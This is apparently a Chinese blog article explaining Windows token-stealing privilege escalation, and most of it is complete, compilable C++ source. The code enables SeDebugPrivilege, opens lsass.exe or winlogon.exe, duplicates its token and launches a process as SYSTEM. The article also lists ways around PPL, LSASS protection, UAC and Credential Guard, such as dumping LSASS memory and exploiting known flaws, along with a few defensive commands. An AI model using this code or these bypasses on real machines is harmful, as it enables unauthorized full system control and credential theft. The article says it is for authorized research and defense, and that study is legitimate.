当前位置: 首页 > news >正文

Windows 进程令牌窃取实战:从 lsass.exe 获取 System 权限运行记事本(附 C++ 源码)

Windows 系统权限提升技术深度解析:从进程令牌操作到安全防御实践

在Windows系统安全领域,权限管理始终是攻防对抗的核心战场。掌握系统级权限不仅意味着对操作系统的完全控制,更是安全研究人员进行漏洞分析、渗透测试的必备技能。本文将深入探讨Windows环境下通过进程令牌操作实现权限提升的技术细节,提供可落地的C++实现方案,并分析现代系统对此类技术的防御机制。

1. Windows权限体系基础与提权原理

Windows操作系统采用基于令牌(Token)的权限管理体系,每个进程运行时都关联一个安全令牌,决定了该进程能够访问哪些系统资源。系统关键进程如lsass.exe(本地安全认证子系统服务)通常以SYSTEM权限运行——这是Windows中最高级别的权限,甚至超过管理员账户。

令牌窃取提权的核心逻辑在于:

  • 获取高权限进程句柄
  • 复制其安全令牌
  • 利用复制的令牌创建新进程

这种技术之所以有效,是因为Windows允许具有足够权限的进程访问其他进程的令牌信息。关键在于获取"SeDebugPrivilege"特权,该特权默认授予管理员用户,允许调试其他用户空间的进程。

// 获取SeDebugPrivilege的典型代码片段 HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tp; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid); tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

2. 实战:通过LSASS进程令牌获取SYSTEM权限

2.1 目标进程选择与枚举

并非所有系统进程都适合作为令牌来源。理想的候选进程应满足:

  1. 始终以SYSTEM权限运行
  2. 允许PROCESS_QUERY_INFORMATION访问
  3. 系统关键性较低(避免导致系统不稳定)

通过进程快照API枚举符合条件的进程:

DWORD FindSystemProcess() { PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(Process32First(hSnapshot, &pe)) { do { if(_wcsicmp(pe.szExeFile, L"lsass.exe") == 0 || _wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) { CloseHandle(hSnapshot); return pe.th32ProcessID; } } while(Process32Next(hSnapshot, &pe)); } CloseHandle(hSnapshot); return 0; }

2.2 令牌复制与进程创建关键技术

成功获取目标进程句柄后,关键步骤包括:

  1. 令牌复制:使用DuplicateTokenEx复制主令牌
  2. 进程创建CreateProcessWithTokenW允许指定令牌创建进程
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); HANDLE hToken; OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken); HANDLE hNewToken; DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hNewToken); STARTUPINFOW si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(STARTUPINFOW); si.lpDesktop = L"winsta0\\default"; // 指定窗口站 CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, NULL, L"notepad.exe", 0, NULL, NULL, &si, &pi);

注意CreateProcessAsUser需要额外的特权,而CreateProcessWithTokenW在获取令牌后可直接使用,这是实际开发中的重要区别。

3. 完整实现代码与关键参数解析

以下是完整的提权实现代码,包含详细的错误处理和参数说明:

#include <windows.h> #include <tlhelp32.h> #include <stdio.h> BOOL EnableDebugPrivilege() { HANDLE hToken; if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return FALSE; LUID luid; if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { CloseHandle(hToken); return FALSE; } TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) { CloseHandle(hToken); return FALSE; } CloseHandle(hToken); return TRUE; } DWORD FindSystemProcess() { PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(!Process32First(hSnapshot, &pe)) { CloseHandle(hSnapshot); return 0; } do { if(_wcsicmp(pe.szExeFile, L"lsass.exe") == 0 || _wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) { CloseHandle(hSnapshot); return pe.th32ProcessID; } } while(Process32Next(hSnapshot, &pe)); CloseHandle(hSnapshot); return 0; } int main() { if(!EnableDebugPrivilege()) { printf("[!] Failed to enable SeDebugPrivilege\n"); return 1; } DWORD pid = FindSystemProcess(); if(pid == 0) { printf("[!] Could not find suitable system process\n"); return 1; } HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); if(!hProcess) { printf("[!] OpenProcess failed (%d)\n", GetLastError()); return 1; } HANDLE hToken; if(!OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) { printf("[!] OpenProcessToken failed (%d)\n", GetLastError()); CloseHandle(hProcess); return 1; } HANDLE hNewToken; if(!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hNewToken)) { printf("[!] DuplicateTokenEx failed (%d)\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } STARTUPINFOW si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(STARTUPINFOW); si.lpDesktop = L"winsta0\\default"; if(!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, NULL, L"notepad.exe", 0, NULL, NULL, &si, &pi)) { printf("[!] CreateProcessWithTokenW failed (%d)\n", GetLastError()); } else { printf("[+] Successfully created process with SYSTEM token\n"); } CloseHandle(hNewToken); CloseHandle(hToken); CloseHandle(hProcess); return 0; }

4. 现代系统防御机制与绕过思路

随着Windows安全机制的不断强化,传统的令牌窃取技术面临多重防护:

防御机制原理潜在绕过方法
PPL(Protected Process Light)限制对关键进程的访问利用未受保护的进程或驱动漏洞
LSASS保护防止内存读取和进程注入使用合法的API调用获取令牌
UAC(User Account Control)限制管理员权限滥用通过COM提升或自动提升白名单
Credential Guard隔离凭据存储寻找非Credential Guard保护的令牌源

实际测试中发现:Windows 10 1809及更高版本默认启用LSASS保护,直接打开lsass.exe进程会失败。此时可考虑以下替代方案:

  1. 使用MiniDumpWriteDump生成转储文件后离线提取令牌信息
  2. 寻找其他未受PPL保护的系统进程(如某些服务进程)
  3. 利用已知漏洞暂时禁用保护机制

5. 安全开发实践与防御建议

对于防御方,建议采取以下措施防范令牌窃取攻击:

  1. 最小权限原则:服务账户仅授予必要权限
  2. 启用PPL:保护关键系统进程
  3. 令牌过滤:通过组策略限制令牌权限
  4. 监控敏感API调用:如DuplicateTokenExCreateProcessWithTokenW

对于安全研究人员,在合法授权测试时应注意:

# 防御性检测命令示例 Get-Process -IncludeUserName | Where-Object { $_.ProcessName -in @('lsass','winlogon') -and $_.UserName -notlike '*SYSTEM*' } # 启用LSASS保护 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f

令牌操作技术在系统管理、安全测试等场景具有实际价值。我曾在一个企业环境中使用类似技术帮助恢复被恶意软件破坏的系统服务,关键在于理解原理后的创造性应用。

http://www.cnnetsun.cn/news/3300795.html

相关文章:

  • Win10黑屏重启0xc000009c错误:DISM/SFC卡死全面解决方案
  • Postman 桌面版 v11 安装路径自定义与 3 种数据同步策略详解
  • Elasticsearch-head 5.0.0 跨域连接失败排查:3种配置场景与解决方案
  • Unity集成ProtoBuf 3.5避坑指南:解决7大编译错误与IL2CPP兼容性问题
  • 【ChatGPT创意写作提示词黄金法则】:20年内容架构师亲授17个经实测提升300%生成质量的Prompt结构模板
  • TranslucentTB依赖库终极解决方案:从源码到部署的完整指南
  • Android手机直连Switch:3步完成游戏传输的终极指南
  • 华为Auth-HTTP Server 1.0 漏洞检测:3步编写Nuclei POC,精准识别高危风险
  • 实时代码审查响应<800ms:DeepSeek在CI/CD流水线中的嵌入式集成方案(含Jenkins+GitHub Actions模板)
  • WinMTR 与原生 tracert/ping 对比评测:3个维度实测诊断效率与精度差异
  • 制造企业数字化系统平台底座二次开发解决方案与推广白皮书
  • 1987年5月24日下午15-17点出生性格、运势和命运
  • 特洛伊木马病毒 2024-2026:从 Zeus 到 Sunburst 的 5 大攻击家族演变与防御策略
  • ChatGPT写K8s YAML配置失效真相(YAML缩进陷阱与锚点引用黑洞)
  • 3分钟掌握PingFangSC:苹果官方中文字体让你的设计瞬间专业
  • 红日靶场VulnStack 1 环境搭建:3台靶机+1台Kali的VMware网络拓扑与避坑指南
  • LabVIEW TDMS 文件高级应用:3步实现高速流盘与Excel数据交换
  • PyNVMe3 22.11 在 Ubuntu 20.04 部署实战:3步配置大页内存,规避常见安装失败
  • Unity粒子系统力场实战:用Force Field打造逼真动态火焰特效
  • ChatGPT内容日历构建全链路(含爆款选题库+发布时间算法+平台敏感词自动过滤)——仅限前500名领取2024Q3热点日历Excel
  • Dr.Memory vs. Visual Studio 诊断工具:5类内存错误检测能力横向评测
  • 想找靠谱外贸工艺品设计平台推荐榜单?这里有答案!
  • 【Bug已解决】openclaw environment variable conflict / Config override issue — OpenClaw 环境变量冲突解决方案
  • 【Bug已解决】openclaw file watcher ENOSPC inotify limit exceeded — OpenClaw 文件监听器崩溃解决方案
  • 【共创季稿事节】跨屏演讲台实战:一个 HarmonyOS6.1 跨设备协同应用的完整开发复盘
  • AI 率一直降不下来怎么办?换个方法从 70% 降到 12%
  • 3天精通!FanControl如何彻底改变你的电脑散热体验?
  • 5分钟配置LX Music聚合音源:全网音乐资源一站式获取终极指南
  • imu_utils 1.0.15 实战:ROS bag 数据生成 Allan 方差图,5类噪声参数一键提取
  • 邻接矩阵 vs 邻接表:图数据结构 C++ 实现与 3 大性能场景对比